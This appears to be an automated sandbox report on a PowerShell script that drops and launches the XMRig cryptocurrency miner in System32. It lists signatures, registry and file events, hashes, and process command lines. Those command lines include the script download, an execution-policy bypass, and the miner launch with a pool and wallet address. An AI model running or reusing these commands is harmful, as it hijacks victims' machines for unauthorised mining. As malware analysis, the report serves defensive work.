Resubmissions
12/07/2024, 23:12
240712-268lhaxbqf 1012/07/2024, 23:12
240712-26xh8svcrm 612/07/2024, 21:39
240712-1hzs1s1enj 10Analysis
-
max time kernel
1634s -
max time network
1785s -
platform
windows11-21h2_x64 -
resource
win11-20240709-en -
resource tags
arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system -
submitted
12/07/2024, 23:12
Static task
static1
URLScan task
urlscan1
General
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/0x000100000002aaf2-205.dat family_xmrig behavioral1/files/0x000100000002aaf2-205.dat xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 12 244 powershell.exe 13 244 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1608 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 2 raw.githubusercontent.com 6 raw.githubusercontent.com -
Drops file in System32 directory 22 IoCs
description ioc Process File created C:\Windows\system32\xmrig\xmrig-6.21.3\benchmark_1M.cmd powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\benchmark_1M.cmd powershell.exe File created C:\Windows\system32\xmrig\xmrig-6.21.3\rtm_ghostrider_example.cmd powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\SHA256SUMS powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\solo_mine_example.cmd powershell.exe File created C:\Windows\system32\xmrig\xmrig-6.21.3\xmrig.exe powershell.exe File opened for modification C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe File created C:\Windows\system32\xmrig\xmrig-6.21.3\SHA256SUMS powershell.exe File created C:\Windows\system32\xmrig\xmrig-6.21.3\benchmark_10M.cmd powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\config.json powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\pool_mine_example.cmd powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\rtm_ghostrider_example.cmd powershell.exe File created C:\Windows\system32\xmrig\xmrig-6.21.3\solo_mine_example.cmd powershell.exe File created C:\Windows\system32\xmrig\xmrig-6.21.3\start.cmd powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\start.cmd powershell.exe File created C:\Windows\system32\xmrig\xmrig-6.21.3\WinRing0x64.sys powershell.exe File created C:\Windows\system32\xmrig.zip powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\xmrig.exe powershell.exe File created C:\Windows\system32\xmrig\xmrig-6.21.3\config.json powershell.exe File created C:\Windows\system32\xmrig\xmrig-6.21.3\pool_mine_example.cmd powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\WinRing0x64.sys powershell.exe File opened for modification C:\Windows\system32\xmrig\xmrig-6.21.3\benchmark_10M.cmd powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe -
pid Process 244 powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133652995931924475" chrome.exe -
Modifies registry class 35 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1" chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Downloads" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e8005398e082303024b98265d99428e115f0000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 chrome.exe Key created \Registry\User\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\NotificationData chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295" chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff chrome.exe Key created \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259} chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3766757357-1293853516-507035944-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1" chrome.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2808 chrome.exe 2808 chrome.exe 244 powershell.exe 244 powershell.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe Token: SeShutdownPrivilege 2808 chrome.exe Token: SeCreatePagefilePrivilege 2808 chrome.exe -
Suspicious use of FindShellTrayWindow 33 IoCs
pid Process 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 1608 xmrig.exe -
Suspicious use of SendNotifyMessage 12 IoCs
pid Process 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe 2808 chrome.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3448 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2808 wrote to memory of 4748 2808 chrome.exe 81 PID 2808 wrote to memory of 4748 2808 chrome.exe 81 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 4596 2808 chrome.exe 82 PID 2808 wrote to memory of 5052 2808 chrome.exe 83 PID 2808 wrote to memory of 5052 2808 chrome.exe 83 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84 PID 2808 wrote to memory of 3172 2808 chrome.exe 84
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/monoxzyco/xmrig-scripts/raw/main/windows.ps11⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9de44cc40,0x7ff9de44cc4c,0x7ff9de44cc582⤵PID:4748
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1780,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=1776 /prefetch:22⤵PID:4596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2056,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=2104 /prefetch:32⤵PID:5052
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2172,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=2348 /prefetch:82⤵PID:3172
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3236 /prefetch:12⤵PID:2028
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3092,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3288 /prefetch:12⤵PID:3460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4084,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3276 /prefetch:12⤵PID:1528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4556,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4564 /prefetch:82⤵PID:3452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4572,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4576 /prefetch:82⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4596,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4728 /prefetch:82⤵PID:3936
-
-
C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"1⤵PID:4268
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:2988
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'C:\Users\Admin\Downloads\windows.ps1'"1⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:244 -
C:\Windows\system32\xmrig\xmrig-6.21.3\xmrig.exe"C:\Windows\system32\xmrig\xmrig-6.21.3\xmrig.exe" -o xmrpool.eu:3333 -u 88tYpqdgCC1da3kLmaVyZhEUndHhuTQH2d1wnA7uPKLHaA5Ri9tU8pmR7SMuhR7emSDLRYnjUkTouQDkU4jr8UFwJawxoxs --cpu-priority 82⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:1608
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD54b20a6ff6de7e3a79ff85dd5a534e4c2
SHA1db69fab247a237770c6ca5bd916818f173cea056
SHA256f0ea68c6fa242bbbcd94813d0a8cb9310401429503c93e0c21fead8182d0eb05
SHA51242bf1c2ad935546a218ef63e2d69e91e012a7bcbef5c04e7d4555d786a151af560441300592fc8cce606f4782ca006447ed1958ee987b7ae834a86e867a08a2b
-
Filesize
2B
MD5d751713988987e9331980363e24189ce
SHA197d170e1550eee4afc0af065b78cda302a97674c
SHA2564f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
-
Filesize
691B
MD5530303e0aaa6ae6ccbc542e7a1635253
SHA18d650d8b171369feda2e97b6af8578008cc06c00
SHA2562c91ca9521a4438c0595532d33e2d752a3192f9f28122ad9c40fdffb0c301de6
SHA512e1cad7e56d0c14d4d814043ed4906e8546285da6a760e87f4851d3b5a8547e74a5ef04e2a5c253323711b4b7846d143ea2c6a9519aff7c044f58f15b2657e7e8
-
Filesize
9KB
MD564ad3a0ad5b2eea576d98a586fb6e829
SHA11eda0b04584e7ce3c6464d5dc3493aaae302dda8
SHA256f7f8660177e0a6dd3cd286b489706c044023381d96a35f81bbbc6d8d794a4105
SHA51207226f47e19fc57ec1df203850a070098216d355ccaa38950798636e93289358595823ff1fe781a760f0152f294e3336b7a3bb01f211f48a129e96193f408e5a
-
Filesize
8KB
MD547e7c35056d0180df83e0a805d1ed02b
SHA1aba44aa5bd823c88d4cf43efb4573a67abdcdbb2
SHA256cc83155da7644d5b82f9087530b43c195b52c57a233438eaa08907c9d3e4eaf4
SHA51271fee197290453c1b714c453b761500aab98a4e8dca98cdaad764a1ff3d0f7961d57df926e3f5b984b308dd418a4c47606c3bac84431aa5b6a0c1ab14c9dcc98
-
Filesize
8KB
MD5614c4f4b3a640340e3a69bb02389d3c9
SHA17e3f9f4c4cc6a9927ead27b40858938eb5b312ce
SHA256051334dc69f0174b2f56f900028b8e29b6284817b25ed065038eeea68b124226
SHA5129c46ce1300bcccc6bce389b547fa6a7b853553dcdd39c6150d9a438b16e138b50febbd7149419f8d800d0b56a07310cb43ae249b7064be0e3a2ef2d5024aeeca
-
Filesize
92KB
MD5d15edd530cbfa228610e65ee819e59ea
SHA141a552162da898083290e91ef00631f83f812165
SHA256374cb321774db1ed3876c55b97b71b6c79c9ebeaa898e911bb6ed76861c09e93
SHA512a4c3da88a0af23dbe993408b22eb563302ecae2352aa0779a324038193e5233513f5e38c2f08305b38418ab93c85395c3b54f1636da52dffb5d87ab524076d4b
-
Filesize
92KB
MD58fe9cf8fb788afa1a3c0cb2b83b373e1
SHA11d0459e83684fb7552fdb31e672a325c11b412e7
SHA2561c0de7e8269632ab0d72849e767393ab40be30719725e6cf17c0e0d799188a0a
SHA512ff06c8ad8bc98bdb32a45b53454a9a07f4dabd60871b8fe5721bcad27ea882641183dc896166de16634f60d45459ae892a9f794f4b4dae02563e4b2dd2f486a4
-
Filesize
92KB
MD5c6a8f09b67e1a69520f3df931763a315
SHA1693b276598fc402574d675ccad18acd2a0c8eb78
SHA256b74533c4f31bf24971d65d881788eff4406216332c46883cc6654f34a02529bd
SHA512ececf65f12aeaf38ea25462bb7aca11e91224158a3a9265a59ce0fc4da6b196337c107d10cc1efc6240ac4d2757620c9252e8b081c12f1a4920027d1f25933d6
-
Filesize
264KB
MD5e95ca382d4ebe90d582cbfc25097500b
SHA1644442d9fc49ac3af91ff2142f4d5fd5f766557c
SHA256211f599fea95fcd9df6d9bb86255a97e05294b4364963695dd459db979b245eb
